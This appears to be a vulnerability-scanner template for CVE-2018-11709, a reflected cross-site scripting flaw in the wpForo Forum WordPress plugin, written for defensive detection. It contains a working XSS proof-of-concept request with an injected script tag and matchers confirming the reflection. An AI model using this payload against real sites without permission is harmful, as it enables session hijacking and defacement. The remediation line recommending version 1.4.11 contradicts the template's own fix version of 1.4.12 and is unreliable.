WordPress wpForo Forum <= 1.4.11 - Cross-Site Scripting

id: CVE-2018-11709

info:
  name: WordPress wpForo Forum <= 1.4.11 - Cross-Site Scripting
  author: daffainfo,s4e-io
  severity: medium
  description: WordPress wpForo Forum plugin before 1.4.12 for WordPress allows unauthenticated reflected cross-site scripting via the URI.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the wpForo Forum plugin (1.4.11) or apply the vendor-provided patch to fix the vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2018-11709
    - https://wordpress.org/plugins/wpforo/#developers
    - https://wpvulndb.com/vulnerabilities/9090
    - https://blog.dewhurstsecurity.com/2018/06/01/wp-foro-wordpress-plugin-xss-vulnerability.html
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-11709
    cwe-id: CWE-79
    epss-score: 0.0363
    epss-percentile: 0.88097
    cpe: cpe:2.3:a:gvectors:wpforo_forum:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: gvectors
    product: wpforo_forum
    framework: wordpress
  tags: cve,cve2018,wordpress,xss,wp-plugin,gvectors,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/index.php/community/?%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: body
        words:
          - "wpforo"
        case-insensitive: true

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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